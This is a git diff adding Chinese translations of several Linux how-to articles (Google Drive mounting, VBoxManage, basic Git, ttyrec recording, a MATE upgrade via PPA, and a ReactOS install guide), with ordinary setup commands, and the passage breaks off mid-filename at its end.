google-drive-ocamlfuse 在 Linux 上挂载 Google Drive +===================== + +> 如果你在找一个方便的方式在 Linux 机器上挂载你的 Google Drive 文件夹, Jack Wallen 将教你怎么使用 google-drive-ocamlfuse 来挂载 Google Drive。 + +![](http://tr4.cbsistatic.com/hub/i/2016/05/18/ee5d7b81-e5be-4b24-843d-d3ca99230a63/651be96ac8714698f8100afa6883e64d/linuxcloudhero.jpg) + +*图片来源: Jack Wallen* + +Google 还没有发行 Linux 版本的 Google Drive 应用,尽管现在有很多方法从 Linux 中访问你的 Drive 文件。 + +如果你喜欢界面化的工具,你可以选择 Insync。如果你喜欢用命令行,有很多像 Grive2 这样的工具,和更容易使用的以 Ocaml 语言编写的基于 FUSE 的文件系统。我将会用后面这种方式演示如何在 Linux 桌面上挂载你的 Google Drive。尽管这是通过命令行完成的,但是它的用法会简单到让你吃惊。它太简单了以至于谁都能做到。 + +这个系统的特点: + +- 对普通文件/文件夹有完全的读写权限 +- 对于 Google Docs,sheets,slides 这三个应用只读 +- 能够访问 Drive 回收站(.trash) +- 处理重复文件功能 +- 支持多个帐号 + +让我们接下来完成 google-drive-ocamlfuse 在 Ubuntu 16.04 桌面的安装,然后你就能够访问云盘上的文件了。 + +### 安装 + +1. 打开终端。 +2. 用 `sudo add-apt-repository ppa:alessandro-strada/ppa` 命令添加必要的 PPA +3. 出现提示的时候,输入你的 root 密码并按下回车。 +4. 用 `sudo apt-get update` 命令更新应用。 +5. 输入 `sudo apt-get install google-drive-ocamlfuse` 命令安装软件。 + +### 授权 + +接下来就是授权 google-drive-ocamlfuse,让它有权限访问你的 Google 账户。先回到终端窗口敲下命令 `google-drive-ocamlfuse`,这个命令将会打开一个浏览器窗口,它会提示你登陆你的 Google 帐号或者如果你已经登陆了 Google 帐号,它会询问是否允许 google-drive-ocamlfuse 访问 Google 账户。如果你还没有登录,先登录然后点击“允许”。接下来的窗口(在 Ubuntu 16.04 桌面上会出现,但不会出现在 Elementary OS Freya 桌面上)将会询问你是否授给 gdfuse 和 OAuth2 Endpoint 访问你的 Google 账户的权限,再次点击“允许”。然后出现的窗口就会告诉你等待授权令牌下载完成,这个时候就能最小化浏览器了。当你的终端提示如下图一样的内容,你就能知道令牌下载完了,并且你已经可以挂载 Google Drive 了。 + +![](http://tr4.cbsistatic.com/hub/i/r/2016/05/18/a493122b-445f-4aca-8974-5ec41192eede/resize/620x/6ae5907ad2c08dc7620b7afaaa9e389c/googledriveocamlfuse3.png) + +*应用已经得到授权,你可以进行后面的工作。* + +### 挂载 Google Drive + +在挂载 Google Drive 之前,你得先创建一个文件夹,作为挂载点。在终端里,敲下`mkdir ~/google-drive`命令在你的家目录下创建一个新的文件夹。最后敲下命令`google-drive-ocamlfuse ~/google-drive`将你的 Google Drive 挂载到 google-drive 文件夹中。 + +这时你可以查看本地 google-drive 文件夹中包含的 Google Drive 文件/文件夹。你可以把 Google Drive 当作本地文件系统来进行工作。 + +当你想卸载 google-drive 文件夹,输入命令 `fusermount -u ~/google-drive`。 + +### 没有 GUI,但它特别好用 + +我发现这个特别的系统非常容易使用,在同步 Google Drive 时它出奇的快,并且这可以作为一种本地备份你的 Google Drive 账户的巧妙方式。(LCTT 译注:然而首先你得能使用……) + +试试 google-drive-ocamlfuse,看看你能用它做出什么有趣的事。 + +-------------------------------------------------------------------------------- + +via: http://www.techrepublic.com/article/how-to-mount-your-google-drive-on-linux-with-google-drive-ocamlfuse/ + +作者:[Jack Wallen][a] +译者:[GitFuture](https://github.com/GitFuture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.techrepublic.com/search/?a=jack+wallen diff --git a/published/201607/20160603 How To Install And Use VBoxManage On Ubuntu 16.04 And Use Its Command line Options.md b/published/201607/20160603 How To Install And Use VBoxManage On Ubuntu 16.04 And Use Its Command line Options.md new file mode 100644 index 0000000000..b177995009 --- /dev/null +++ b/published/201607/20160603 How To Install And Use VBoxManage On Ubuntu 16.04 And Use Its Command line Options.md @@ -0,0 +1,138 @@ +在 Linux 上安装使用 VirtualBox 的命令行管理界面 VBoxManage +================= + +VirtualBox 拥有一套命令行工具,你可以使用 VirtualBox 的命令行界面 (CLI) 对远程无界面的服务器上的虚拟机进行管理操作。在这篇教程中,你将会学到如何在没有 GUI 的情况下使用 VBoxManage 创建、启动一个虚拟机。VBoxManage 是 VirtualBox 的命令行界面,你可以在你的主机操作系统的命令行中用它来实现对 VirtualBox 的所有操作。VBoxManage 拥有图形化用户界面所支持的全部功能,而且它支持的功能远不止这些。它提供虚拟引擎的所有功能,甚至包含 GUI 还不能实现的那些功能。如果你想尝试下不同的用户界面而不仅仅是 GUI,或者更改虚拟机更多高级和实验性的配置,那么你就需要用到命令行。 + +当你想要在 VirtualBox 上创建或运行虚拟机时,你会发现 VBoxManage 非常有用,你只需要使用远程主机的终端就够了。这对于需要远程管理虚拟机的服务器来说是一种常见的情形。 + +### 准备工作 + +在开始使用 VBoxManage 的命令行工具前,确保在运行着 Ubuntu 16.04 的服务器上,你拥有超级用户的权限或者你能够使用 sudo 命令,而且你已经在服务器上安装了 Oracle Virtual Box。 然后你需要安装 VirtualBox 扩展包,这是运行 VRDE 远程桌面环境,访问无界面虚拟机所必须的。 + +### 安装 VBoxManage + +通过 [Virtual Box 下载页][1] 这个链接,你能够获取你所需要的软件扩展包的最新版本,扩展包的版本和你安装的 VirtualBox 版本需要一致! + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/12.png) + +也可以用下面这条命令来获取 VBoxManage 扩展。 + +``` +$ wget http://download.virtualbox.org/virtualbox/5.0.20/Oracle_VM_VirtualBox_Extension_Pack-5.0.20-106931.vbox-extpack +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/21.png) + +运行下面这条命令,确认 VBoxManage 已经成功安装在你的机器上。 + +``` +$ VBoxManage list extpacks +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/31.png) + +### 在 Ubuntu 16.04 上使用 VBoxManage + +接下来我们将要使用 VBoxManage 向你展现通过命令行终端工具来新建和管理虚拟机是多么的简单。 + +运行下面的命令,新建一个将用来安装 Ubuntu 系统的虚拟机。 + +``` +# VBoxManage createvm --name Ubuntu16.04 --register +``` + +在运行了这条命令之后,VBoxMnage 将会新建一个叫 做“Ubuntu16.vbox” 的虚拟机,这个虚拟机的位置是家目录路径下的 “VirtualBox VMs/Ubuntu16/Ubuntu16.04.vbox”。在上面这条命令中,“createvm” 是用来新建虚拟机,“--name” 定义了虚拟机的名字,而 “registervm” 命令是用来注册虚拟机的。 + +现在,使用下面这条命令为虚拟机创建一个硬盘镜像。 + +``` +$ VBoxManage createhd --filename Ubuntu16.04 --size 5124 +``` + +这里,“createhd” 用来创建硬盘镜像,“--filename” 用来指定虚拟机的名称,也就是创建的硬盘镜像名称。“--size” 表示硬盘镜像的空间容量,空间容量的单位总是 MB。我们指定了 5Gb,也就是 5124 MB。 + +接下来我们需要设置操作系统类型,如果要安装 Linux 系的系统,那么用下面这条命令指定系统类型为 Linux 或者 Ubuntu 或者 Fedora 之类的。 + +``` +$ VBoxManage modifyvm Ubuntu16.04 --ostype Ubuntu +``` + +用下面这条命令来设置虚拟系统的内存大小,也就是从主机中分配到虚拟机系统的内存。 + +``` +$ VBoxManage modifyvm Ubuntu10.10 --memory 512 +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/52.png) + +现在用下面这个命令为虚拟机创建一个存储控制器。 + +``` +$ VBoxManage storagectl Ubuntu16.04 --name IDE --add ide --controller PIIX4 --bootable on +``` + +这里的 “storagect1” 是给虚拟机创建存储控制器的,“--name” 指定了虚拟机里需要创建、更改或者移除的存储控制器的名称。“--add” 选项指明存储控制器所需要连接到的系统总线类型,可选的选项有 ide / sata / scsi / floppy。“--controller” 选择主板的类型,主板需要根据需要的存储控制器选择,可选的选项有 LsiLogic / LSILogicSAS / BusLogic / IntelAhci / PIIX3 / PIIX4 / ICH6 / I82078。最后的 “--bootable” 表示控制器是否可以引导系统。 + +上面的命令创建了叫做 IDE 的存储控制器。之后虚拟介质就能通过 “storageattach” 命令连接到该控制器。 + +然后运行下面这个命令来创建一个叫做 SATA 的存储控制器,它将会连接到之后的硬盘镜像上。 + +``` +$ VBoxManage storagectl Ubuntu16.04 --name SATA --add sata --controller IntelAhci --bootable on +``` + +将之前创建的硬盘镜像和 CD/DVD 驱动器加载到 IDE 控制器。将 Ubuntu 的安装光盘插到 CD/DVD 驱动器上。然后用 “storageattach” 命令连接存储控制器和虚拟机。 + +``` +$ VBoxManage storageattach Ubuntu16.04 --storagectl SATA --port 0 --device 0 --type hdd --medium "your_iso_filepath" +``` + +这将把 SATA 存储控制器及介质(比如之前创建的虚拟磁盘镜像)连接到 Ubuntu16.04 虚拟机中。 + +运行下面的命令添加像网络连接,音频之类的功能。 + +``` +$ VBoxManage modifyvm Ubuntu10.10 --nic1 nat --nictype1 82540EM --cableconnected1 on +$ VBoxManage modifyvm Ubuntu10.10 --vram 128 --accelerate3d on --audio alsa --audiocontroller ac97 +``` + +通过指定你想要启动虚拟机的名称,用下面这个命令启动虚拟机。 + +``` + $ VBoxManage startvm Ubuntu16.04 +``` + +然后会打开一个新窗口,新窗口里虚拟机通过关联文件中引导。 + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/62.png) + +你可以用接下来的命令来关掉虚拟机。 + +``` +$ VBoxManage controlvm Ubuntu16.04 poweroff +``` + +“controlvm” 命令用来控制虚拟机的状态,可选的选项有 pause / resume / reset / poweroff / savestate / acpipowerbutton / acpisleepbutton。controlvm 有很多选项,用下面这个命令来查看它支持的所有选项。 + +``` +$VBoxManage controlvm +``` + +![](http://linuxpitstop.com/wp-content/uploads/2016/06/81.png) + +###完结 + +从这篇文章中,我们了解了 Oracle Virtual Box 中一个十分实用的工具 VBoxManage,文章包含了 VBoxManage 的安装和在 Ubuntu 16.04 系统上的使用,包括通过 VBoxManage 中实用的命令来创建和管理虚拟机。希望这篇文章对你有帮助,另外别忘了分享你的评论或者建议。 + +-------------------------------------------------------------------------------- + +via: http://linuxpitstop.com/install-and-use-command-line-tool-vboxmanage-on-ubuntu-16-04/ + +作者:[Kashif][a] +译者:[GitFuture](https://github.com/GitFuture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://linuxpitstop.com/author/kashif/ +[1]: https://www.virtualbox.org/wiki/Downloads diff --git a/published/201607/20160606 Basic Git Commands You Must Know.md b/published/201607/20160606 Basic Git Commands You Must Know.md new file mode 100644 index 0000000000..57aa6662e2 --- /dev/null +++ b/published/201607/20160606 Basic Git Commands You Must Know.md @@ -0,0 +1,216 @@ +你应该知道的基础 Git 命令 +===================================== + +![](http://itsfoss.com/wp-content/uploads/2016/06/Download-Git-Sheet.jpg) + +*简介:这个快速指南将向你展示所有的基础 Git 命令以及用法。你可以下载这些命令作为快速参考。* + +我们在早先一篇文章中已经快速介绍过 [Vi 速查表][1]了。在这篇文章里,我们将会介绍开始使用 Git 时所需要的基础命令。 + +### Git + +[Git][2] 是一个分布式版本控制系统,它被用在大量开源项目中。它是在 2005 年由 Linux 创始人 [Linus Torvalds][3] 写就的。这个程序允许非线性的项目开发,并且能够通过存储在本地服务器高效处理大量数据。在这个教程里,我们将要和 Git 愉快玩耍并学习如何开始使用它。 + +我在这个教程里使用 Ubuntu,但你可以使用你选择的任何发行版。除了安装以外,剩下的所有命令在任何 Linux 发行版上都是一样的。 + +### 安装 Git + +要安装 git 执行以下命令: + +``` +sudo apt-get install git-core +``` + +在它完成下载之后,你就安装好了 Git 并且可以使用了。 + +### 设置 Git + +在 Git 安装之后,不论是从 apt-get 还是从源码安装,你需要将你的用户名和邮箱地址复制到 gitconfig 文件。你可以访问 ~/.gitconfig 这个文件。 + +全新安装 Git 之后打开它会是完全空白的: + +``` +sudo vim ~/.gitconfig +``` + +你也可以使用以下命令添加所需的信息。将‘user’替换成你的用户名,‘user@example.com’替换成你的邮箱。 + +``` +git config --global user.name "User" +git config --global user.email user@example.com +``` + +然后你就完成设置了。现在让我们开始 Git。 + +### 仓库 + +创建一个新目录,打开它并运行以下命令: + +``` +git init +``` + +![](http://itsfoss.com/wp-content/uploads/2016/05/Playing-around-git-1-1024x173.png) + +这个命令会创建一个新的 Git 仓库(repository)。你的本地仓库由三个 Git 维护的“树”组成。 + +第一个是你的工作目录(Working Directory),保存实际的文件。第二个是索引,实际上扮演的是暂存区(staging area),最后一个是 HEAD,它指向你最后一个 commit 提交。使用 git clone /path/to/repository 签出你的仓库(从你刚创建的仓库或服务器上已存在的仓库)。 + +### 添加文件并提交 + +你可以用以下命令添加改动: + +``` +git add +``` + +这会添加一个新文件到暂存区以提交。如果你想添加每个新文件,输入: + +``` +git add --all +``` + +添加文件之后可以使用以下命令检查状态: + +``` +git status +``` + +![](http://itsfoss.com/wp-content/uploads/2016/05/Playing-around-git-2-1024x219.png) + +正如你看到的,那里已经有一些变化但还没有提交。现在你需要提交这些变化,使用: + +``` +git commit -m "提交信息" +``` + +![](http://itsfoss.com/wp-content/uploads/2016/05/playing-around-git-3-1024x124.png) + +你也可以这么做(首选): + +``` +git commit -a +``` + +然后写下你的提交信息。现在你的文件提交到了 HEAD,但还不在你的远程仓库中。 + +### 推送你的改动 + +你的改动在你本地工作副本的 HEAD 中。如果你还没有从一个已存在的仓库克隆,或想将你的仓库连接到远程服务器,你需要先添加它: + +``` +git remote add origin <服务器地址> +``` + +现在你可以将改动推送到指定的远程服务器。要将改动发送到远程服务器,运行: + +``` +git push -u origin master +``` + +### 分支 + +分支用于开发特性,分支之间是互相独立的。主分支 master 是你创建一个仓库时的“默认”分支。使用其它分支用于开发,在完成时将它合并回主分支。 + +创建一个名为“mybranch”的分支并切换到它之上: + +``` +git checkout -b mybranch +``` + +![](http://itsfoss.com/wp-content/uploads/2016/05/Playing-around-Git-4--1024x145.jpg) + +你可以使用这个命令切换回主分支: + +``` +git checkout master +``` + +如果你想删除这个分支,执行: + +``` +git branch -d mybranch +``` + +![](http://itsfoss.com/wp-content/uploads/2016/05/Playing-around-Git-5-1-1024x181.jpg) + +除非你将分支推送到远程服务器上,否则该分支对其他人是不可用的,所以只需把它推送上去: + +``` +git push origin <分支名> +``` + +### 更新和合并 + +要将你本地仓库更新到最新的提交上,运行: + +``` +git pull +``` + +在你的工作目录获取并合并远程变动。要合并其它分支到你的活动分支(如 master),使用: + +``` +git merge <分支> +``` + +在这两种情况下,git 会尝试自动合并(auto-merge)改动。不幸的是,这不总是可能的,可能会导致冲突。你需要通过编辑 git 所显示的文件,手动合并那些冲突。改动之后,你需要用以下命令将它们标记为已合并: + +``` +git add <文件名> +``` + +在合并改动之前,你也可以使用以下命令预览: + +``` +git diff <源分支> <目标分支> +``` + +### Git 日志 + +你可以这么查看仓库历史: + +``` +git log +``` + +要以每个提交一行的样式查看日志,你可以用: + +``` +git log --pretty=oneline +``` + +或者也许你想要看一个所有分支的 ASCII 艺术树,带有标签和分支名: + +``` +git log --graph --oneline --decorate --all +``` + +如果你只想看哪些文件改动过: + +``` +git log --name-status +``` + +在这整个过程中如果你需要任何帮助,你可以用 git --help。 + +Git 棒不棒?!祝贺你你已经会 Git 基础了。如果你愿意的话,你可以从下面这个链接下载这些基础 Git 命令作为快速参考: + +- [下载 Git 速查表][4] + + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/basic-git-commands-cheat-sheet/ + +作者:[Rakhi Sharma][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://itsfoss.com/author/rakhi/ +[1]: http://itsfoss.com/download-vi-cheat-sheet/ +[2]: https://git-scm.com/ +[3]: https://en.wikipedia.org/wiki/Linus_Torvalds +[4]: https://drive.google.com/open?id=0By49_3Av9sT1bXpINjhvU29VNUU diff --git a/published/201607/20160609 How to record your terminal session on Linux.md b/published/201607/20160609 How to record your terminal session on Linux.md new file mode 100644 index 0000000000..f30e4db2dc --- /dev/null +++ b/published/201607/20160609 How to record your terminal session on Linux.md @@ -0,0 +1,98 @@ +如何在 Linux 上录制你的终端操作 +================================================= + +录制一个终端操作可能是一个帮助他人学习 Linux 、展示一系列正确命令行操作的和分享知识的通俗易懂方法。不管是出于什么目的,从终端复制粘贴文本需要重复很多次,而录制视频的过程也是相当麻烦,有时候还不能录制。在这次的文章中,我们将简单的了解一下以 gif 格式记录和分享终端会话的方法。 + +### 预先要求 + +如果你只是希望能记录你的终端会话,并且能在终端进行回放或者和他人分享,那么你只需要一个叫做:ttyrec 的软件。Ubuntu 用户可以通过运行这行代码进行安装: + +``` +sudo apt-get install ttyrec +``` + +如果你想将生成的视频转换成一个 gif 文件,这样能够和那些不使用终端的人分享,就可以发布到网站上去,或者你只是想做一个 gif 方便使用而不想写命令。那么你需要安装额外的两个软件包。第一个就是 imagemagick , 你可以通过以下的命令安装: + +``` +sudo apt-get install imagemagick +``` + +第二个软件包就是:tty2gif.py,访问其[项目网站][1]下载。这个软件包需要安装如下依赖: + +``` +sudo apt-get install python-opster +``` + +### 录制 + +开始录制终端操作,你需要的仅仅是键入 `ttyprec` ,然后回车。这个命令将会在后台运行一个实时的记录工具。我们可以通过键入`exit`或者`ctrl+d`来停止。ttyrec 默认会在主目录下创建一个`ttyrecord`的文件。 + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/pic_1.jpg) + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/pic_2.jpg) + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/pic_3.jpg) + +### 回放 + +回放这个文件非常简单。你只需要打开终端并且使用 `ttyplay` 命令打开 `ttyrecord` 文件即可。(在这个例子里,我们使用 ttyrecord 作为文件名,当然,你也可以改成你用的文件名) + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/pic_4.jpg) + +然后就可以开始播放这个文件。这个视频记录了所有的操作,包括你的删除,修改。这看起来像一个拥有自我意识的终端,但是这个命令执行的过程并不是只是为了给系统看,而是为了更好的展现给人。 + +注意一点,播放这个记录是完全可控的,你可以通过点击 `+` 或者 `-` 进行加速减速,或者 `0`和 `1` 暂停和恢复播放。 + +### 导出成 GIF + +为了方便,我们通常会将视频记录转换为 gif 格式,并且,这个非常容易做到。以下是方法: + +将之前下载的 tty2gif.py 这个文件拷贝到 ttyprecord 文件(或者你命名的那个视频文件)相同的目录,然后在这个目录下打开终端,输入命令: + +``` +python tty2gif.py typing ttyrecord +``` + +如果出现了错误,检查一下你是否有安装 python-opster 包。如果还是有错误,使用如下命令进行排除。 + +``` +sudo apt-get install xdotool +export WINDOWID=$(xdotool getwindowfocus) +``` + +然后重复这个命令 `python tty2gif.py` 并且你将会看到在 ttyrecord 目录下多了一些 gif 文件。 + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/pic_5.jpg) + +接下来的一步就是整合所有的 gif 文件,将他打包成一个 gif 文件。我们通过使用 imagemagick 工具。输入下列命令: + +``` +convert -delay 25 -loop 0 *.gif example.gif +``` + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/pic_6.jpg) + +你可以使用任意的文件名,我用的是 example.gif。 并且,你可以改变这个延时和循环时间。 Enjoy。 + +![](https://www.howtoforge.com/images/how-to-record-your-terminal-session-on-linux/example.gif) + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/how-to-record-your-terminal-session-on-linux/ + +作者:[Bill Toulas][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twitter.com/howtoforgecom +[1]: https://bitbucket.org/antocuni/tty2gif/raw/61d5596c916512ce5f60fcc34f02c686981e6ac6/tty2gif.py + + + + + + + + diff --git a/published/201607/20160609 INSTALL MATE 1.14 IN UBUNTU MATE 16.04 VIA PPA.md b/published/201607/20160609 INSTALL MATE 1.14 IN UBUNTU MATE 16.04 VIA PPA.md new file mode 100644 index 0000000000..a7932ee269 --- /dev/null +++ b/published/201607/20160609 INSTALL MATE 1.14 IN UBUNTU MATE 16.04 VIA PPA.md @@ -0,0 +1,62 @@ +在 Ubuntu Mate 16.04 上通过 PPA 升级 Mate 1.14 +================================================================= + +Mate 桌面环境 1.14 现在可以在 Ubuntu Mate 16.04 ("Xenial Xerus") 上使用了。根据这个[发布版本][1]的描述,为了全面测试 Mate 1.14,所以 Mate 桌面环境 1.14 已经在 PPA 上发布 2 个月了。因此,你不太可能遇到安装的问题。 + +![](https://2.bp.blogspot.com/-v38tLvDAxHg/V1k7beVd5SI/AAAAAAAAX7A/1X72bmQ3ia42ww6kJ_61R-CZ6yrYEBSpgCLcB/s400/mate114-ubuntu1604.png) + +**现在 PPA 提供 Mate 1.14.1 包含如下改变(Ubuntu Mate 16.04 默认安装的是 Mate 1.12.x):** + +- 客户端的装饰应用现在可以正确的在所有主题中渲染; +- 触摸板配置现在支持边缘操作和双指滚动; +- 在 Caja 中的 Python 扩展可以被单独管理; +- 所有三个窗口焦点模式都是可选的; +- Mate Panel 中的所有菜单栏图标和菜单图标可以改变大小; +- 音量和亮度 OSD 目前可以启用和禁用; +- 更多的改进和 bug 修改; + +Mate 1.14 同时改进了整个桌面环境中对 GTK+ 3 的支持,包括各种 GTK+3 小应用。但是,Ubuntu MATE 的博客中提到:PPA 的发行包使用 GTK+ 2 编译是“为了确保对 Ubuntu MATE 16.04 还有各种各样的第三方 MATE 应用、插件、扩展的支持"。 + +MATE 1.14 的完整修改列表[点击此处][2]阅读。 + +### 在 Ubuntu MATE 16.04 中升级 MATE 1.14.x + +在 Ubuntu MATE 16.04 中打开终端,并且输入如下命令,来从官方的 Xenial MATE PPA 中升级最新的 MATE 桌面环境: + +``` +sudo apt-add-repository ppa:ubuntu-mate-dev/xenial-mate +sudo apt update +sudo apt dist-upgrade +``` + +**注意**: mate-netspeed 应用将会在升级中删除。因为该应用现在已经是 mate-applets 应用报的一部分,所以它依旧是可以使用的。 + +一旦升级完成,请重启你的系统,享受全新的 MATE! + +### 如何回滚这次升级 + +如果你并不满意 MATE 1.14, 比如你遭遇了一些 bug 。或者你想回到 MATE 的官方源版本,你可以使用如下的命令清除 PPA,并且下载降级包。 + +``` +sudo apt install ppa-purge +sudo ppa-purge ppa:ubuntu-mate-dev/xenial-mate +``` + +在所有的 MATE 包降级之后,重启系统。 + +via [Ubuntu MATE blog][3] + +-------------------------------------------------------------------------------- + +via: http://www.webupd8.org/2016/06/install-mate-114-in-ubuntu-mate-1604.html + +作者:[Andrew][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.webupd8.org/p/about.html +[1]: https://ubuntu-mate.org/blog/mate-desktop-114-for-xenial-xerus/ +[2]: http://mate-desktop.com/blog/2016-04-08-mate-1-14-released/ +[3]: https://ubuntu-mate.org/blog/mate-desktop-114-for-xenial-xerus/ diff --git a/published/201607/20160610 Getting started with ReactOS.md b/published/201607/20160610 Getting started with ReactOS.md new file mode 100644 index 0000000000..8d04902798 --- /dev/null +++ b/published/201607/20160610 Getting started with ReactOS.md @@ -0,0 +1,125 @@ +ReactOS 新手指南 +==================================== + +ReactOS 是一个比较年轻的开源操作系统,它提供了一个和 Windows NT 类似的图形界面,并且它的目标也是提供一个与 NT 功能和应用程序兼容性差不多的系统。这个项目在没有使用任何 Unix 架构的情况下实现了一个类似 Wine 的用户模式。它的开发者们从头实现了 NT 的架构以及对于 FAT32 的兼容,因此它也不需要负任何法律责任。这也就是说,它不是又双叒叕一个 Linux 发行版,而是一个独特的类 Windows 系统,并且是开源世界的一部分。这份快速指南是给那些想要一个易于使用的 Windows 的开源替代品的人准备的。 + +### 安装系统 + +在开始安装这个系统之前,我需要说明一下,ReactOS 的最低硬件要求是 500MB 硬盘以及仅仅 96MB 内存。我会在一个 32 位的虚拟机里面演示安装过程。 + +现在,你需要使用箭头键来选择你想要语言,而后通过回车键来确认。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_1.png) + +之后,再次敲击回车键来继续安装。你也可以选择按“R”键来修复现有的系统。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_2.png) + +在第三屏中,你将看到一个警告说这个系统还是早期开发版本。再次敲击回车键,你将看到一个需要你最后确认的配置概览。如果你认为没问题,就按回车。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_3.png) + +然后,我们就到了分区这一步,在这里,你可以使用“D”键删除高亮分区,分别使用“P”键、“E”键以及“L”键来添加一个主分区、拓展分区或逻辑分区。如果你想要自己添加一个分区,你需要输入这个分区的大小(以 MB 为单位),然后通过回车来确认。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_4.png) + +但是,如果你有未使用的硬盘空间,在分区过程直接敲击回车键可以自动在你选中的分区上安装 ReactOS。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_5.png) + +下一步是选择分区的格式,不过现在我们只能选择 FAT32。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_6.png) + +再下一步是选择安装文件夹。我就使用默认的“/ReactOS”了,应该没有问题。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_7.png) + +然后就是等待... + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_8.png) + +最后,我们要选择启动程序的安装位置。如果你是在实机上操作的话,第一个选项应该是最安全的。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_9.png) + +总地来说,我认为 ReactOS 的安装向导很直接。尽管安装程序的界面可能看起来一点也不现代、不友好,但是大多数情况下作为用户的我们只需要狂敲回车就能安个差不多。这就是说,ReactOS 的开发版安装起来也是相对简单方便的。 + +### 设置 ReactOS + +在我们重启进入新系统之后,“设置向导”会帮助你设置系统。目前,这个向导仅支持设置语言和键盘格式。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_10.png) + +我在这里选择了第二个键盘格式。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_11.png) + +我还可以设置一个改变键盘布局的快捷键。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_12.png) + +之后我添加了用户名… + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_13.png) + +…以及管理员密码… + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_14.png) + +在设置好时间之后,我们就算完成了系统设置。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_15.png) + +### ReactOS 之内 + +当我们历经千辛万苦,终于首次进入 ReactOS 的界面时,系统会检测硬件并自动帮助我们安装驱动。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_16.png) + +这是我这里被自动检测出来的三个硬件: + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_17.png) + +在上一张图片里你看到的是 ReactOS 的“应用管理器”,这东西是 Linux 的标配。不过你不会在这里找到任何与 Linux 有关系的东西。只有在这个系统里工作良好的开源软件才会在这个管理器中出现。这就导致了管理器中有的分类下挤得满满当当,有的却冷清异常。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_18.png) + +我试着通过软件中心安装了 Firefox 以及通过直接下载 exe 文件双击安装 Notepad++。这两个应用都能完美运行:它们的图标出现在了桌面上,在菜单中也出现了它们的名字,Notepad++ 也出现在了软件中心右侧的分类栏里。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_19.png) + +我没有尝试运行任何现代的 Windows 游戏,如果你想配置 Direct 3D 的话,你可以转到 “我的电脑/控制选项/WineD3D 配置”。在那里,你能看到很多 Direct3D 选项,大致与 dx 8 的选项类似。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_20.png) + +ReactOS 还有一个好的地方,就是我们可以通过“我的电脑”来操作注册表。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_21.png) + +如果你需要一个简单点的工具,你可以在应用菜单里打开注册表编辑器。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_22.png) + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_23.png) + +最后,如果你认为 ReactOS 看起来有点过时了的话,你可以在桌面右击选择“属性”,之后在“外观”那里选择你喜欢的主题和颜色。 + +![](https://www.howtoforge.com/images/getting-started-with-eeactos/pic_24.png) + +### 结论 + +老实说,我对 ReactOS 的工作方式印象深刻。它相当稳定、连贯、快速,并且真正人性化。抛开 Windows 的阴影(过时的应用菜单,不合理的菜单结构)不谈的话,ReactOS 几乎做到了尽善尽美。它可能不会有太多应用可供选择,现有的功能也可能不够强大,但是我确信它将会繁荣壮大。关于它的数据显示出了它的人气,我确定将要围绕它建立起来的社区将会很快就壮大到能把这个项目带往成功之路的地步。如今,ReactOS 的最新版本是 0.4.1。如果想要以开源的方式运行 Windows 的应用,那么它就是你的菜! + + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/getting-started-with-reactos/ + +作者:[Bill Toulas][a] +译者:[name1e5s](https://github.com/name1e5s) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.howtoforge.com/tutorial/getting-started-with-reactos/ diff --git a/published/201607/20160616 10 Basic Linux Commands That Every Linux Newbies Should 